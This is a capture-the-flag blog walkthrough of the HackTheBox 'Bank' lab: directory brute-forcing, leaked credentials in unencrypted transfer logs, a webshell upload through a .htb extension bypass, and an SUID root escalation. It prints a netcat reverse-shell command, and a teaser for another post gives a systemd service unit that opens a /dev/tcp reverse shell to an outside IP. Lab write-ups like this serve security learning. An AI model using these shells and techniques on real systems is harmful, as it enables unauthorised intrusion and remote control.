Skip to main content

HackTHeBox - Bank - Retired - Update

HackTHeBox - Bank - Retired - Update



Recon


I've been using threader3000  to run my recon scans lately. It does a super fast up/down scan on all TCP ports then suggests and NMAP scan based only on the ports that were up in the first scan. It also automatically saves the nmap results out to an XML file, that I then convert to HTML to make it pretty.



xsltproc ./bank.htb/bank.htb.xml -o ./bank.html






Looks like we have just three open ports… 22,53 and 80


Nmap thinks the box is ubuntu


Port Product Version
22 OpenSSH 6.6.1p1
53 BIND 9.9.5-3
80 Apache         2.4.7



Let's start with port 80 and see what is might be serving us.



A login form for HTB Bank is what we see when we browse to the server.


Let's brute force the directories to see if we can find any other pages being served.


I used dirbuster and the 


/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


Wordlist.


Eventually I saw this directory it found




/balance-transfer/


When we browse to it we get a listing of a bunch of files with .acc extensions.



Clicking one at random we see this



It looks like a log of a balance transfer.


See that part at the beginning "++OK ENCRYPT SUCCESS" I wonder if any of the resulting acc files didn't get encrypted and we might be able to a username and password for the site.


I started by making a folder called download and moving in to that folder on my kali box.


Now using wget We will attempt to save all the files locally so we can grep them.


wget --recursive --no-parent http://bank.htb/balance-transfer/


That was a lot of files, over one thousand.



It looks like the "encrypted text" might be in base64 so there should be no special characters in the "encrypted" part of the files.


So let's just search for "@" and see if we can find one that didn't get encrypted.


grep -r "@"


And it looks like we got a hit.


bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc:Email: chris@bank.htb



Let's cat that file and see what the contents are.


cat bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc


And just as we hoped we found one were the encryption did not happen.


--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===


Let's see if these credentials are still good to login to the bank website.




Exploit



Ok we are now and authenticated user.. Hopefully we can find a way to get on this box now.

Did you see that over on the left too?



Support huh…. What's that?



We can create support tickets and upload files….. This would relate to the /uploads/ folder dirbuster found earlier I bet.


Let's start to just see how this is supposed to function and upload a picture.


We successfully created a ticket.


And there is our cute little hacker money in the /uploads folder just was we thought.. And it wasn't even renamed.


So we can upload files to a folder and then access them…. So next let's try a php webshell.


I've been using this php shell lately I really like it 

https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php




Boo it doesn't like my php file.





Check out this in the source code.



<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->



So we just rename it .htb instead of php and it will allow us to upload and execute it?


Okay…….




Ok now if we click on attachment we get our php shell and it is executing as www-data



Let's get a real shell now.



First we setup our netcat listener, on a port we choose.


nc -lnvp 5555



Then just pop this in the cmd input box on our webshell.


nc 10.10.14.10 5555 -e /bin/sh



I like to poke around in the /var directory when I get  a www-data account, for creds that might be left in configuration file or some such method for escalation.


Under /var  I found this folder named htb.



Just an file named emergency





Let's use file to get some more information about emergency



It's an executable file ( which we already new). I tried to use cat on it but its not helpful.


Strings doesn't help much either it looks like it just lists all the possible outcomes of different python functions.



Well normally we preach don't open programs you aren't 100% sure about…. But what the hell lets run it.







It drops us to a root shell.




done







Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The